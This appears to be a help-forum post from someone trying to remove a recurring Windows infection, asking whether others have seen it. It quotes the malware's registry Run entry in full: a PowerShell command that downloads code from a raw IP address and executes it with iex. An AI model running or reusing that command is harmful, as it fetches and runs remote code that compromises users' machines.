I am trying to clean an infection on a computer. I have removed everything but this. Every time I reboot. I get a powershell window open with a bunch of numbers in it. Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://220.127.116.11:80/landing?action=psf&pubid=0&subid=0&systemhash=1958591137'); iex $($b)"
I removed the key several times and it just comes back. I have run the following programs.
Norton Power eraser
HJT log file attached.
Has anyone run across this before? I searched the forums and did not find anything.